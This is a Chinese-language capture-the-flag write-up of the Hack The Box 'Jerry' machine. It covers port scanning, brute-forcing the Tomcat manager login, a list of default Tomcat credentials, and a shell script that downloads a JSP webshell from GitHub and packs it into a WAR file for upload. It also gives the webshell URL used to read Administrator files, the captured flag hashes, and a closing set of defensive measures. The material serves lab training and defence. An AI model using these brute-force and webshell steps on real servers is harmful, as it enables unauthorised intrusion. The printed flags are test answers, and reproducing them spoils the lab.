[Meachines] [Easy] jerry Tomcat用户暴力破解+war包webshell上传
字数 976 2025-08-19 12:41:39
Tomcat用户暴力破解与war包webshell上传攻击分析
1. 信息收集阶段
1.1 端口扫描
使用masscan进行快速端口扫描:
sudo masscan -p1-65535 10.10.10.95 --rate=1000 -e tun0 > /tmp/ports
使用nmap进行详细服务识别:
ports=$(cat /tmp/ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
nmap -p$ports 10.10.10.95 --min-rate 1000 -sC -sV -Pn
扫描结果:
- 8080/tcp: Apache Tomcat/Coyote JSP engine 1.1
- 版本: Apache Tomcat/7.0.88
2. Tomcat管理界面暴力破解
2.1 使用爆破工具
使用开源工具进行Tomcat管理界面密码爆破:
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95
成功爆破出的密码: s3cret
2.2 Tomcat默认凭证
常见Tomcat默认凭证组合:
- tomcat:tomcat
- admin:admin
- both:manager
- role1:tomcat
- root:root
3. WAR包webshell制作与上传
3.1 制作WAR包webshell
创建gen_war.sh脚本:
#!/bin/sh
wget https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp -O index.jsp
rm -rf wshell
rm -f wshell.war
mkdir wshell
cp index.jsp wshell/
cd wshell
jar -cvf ../wshell.war *
执行脚本生成WAR包:
chmod +x gen_war.sh
./gen_war.sh
3.2 上传WAR包
通过Tomcat管理界面的"WAR file to deploy"功能上传生成的wshell.war文件。
4. 利用webshell获取flag
4.1 访问webshell
上传成功后,访问webshell路径:
http://10.10.10.95:8080/wshell/
4.2 文件浏览功能
利用webshell的文件浏览功能查看系统文件:
http://10.10.10.95:8080/wshell/?sort=1&file=C%3A%5CUsers%5CAdministrator%5CDesktop%5Cflags%5C2+for+the+price+of+1.txt
4.3 获取flag
- User.txt:
7004dbcef0f854e0fb401875f26ebd00 - Root.txt:
04a8b36e1545a455393d067e772fe90e
5. 防御措施
5.1 防止暴力破解
- 修改Tomcat默认管理用户名和密码
- 启用账户锁定机制
- 限制管理界面访问IP
- 使用强密码策略
5.2 防止WAR包上传攻击
- 禁用不必要的上传功能
- 对上传文件进行严格校验
- 限制WAR包部署权限
- 定期审计部署的应用
5.3 系统加固
- 及时更新Tomcat版本
- 删除或保护默认示例应用
- 配置适当的文件系统权限
- 启用日志审计和监控
6. 总结
本案例展示了通过Tomcat管理界面暴力破解和WAR包webshell上传的完整攻击链。攻击者首先通过端口扫描发现Tomcat服务,然后暴力破解管理密码,最后上传恶意WAR包获取系统权限。防御此类攻击需要多层次的防护措施,包括强认证机制、最小权限原则和持续的安全监控。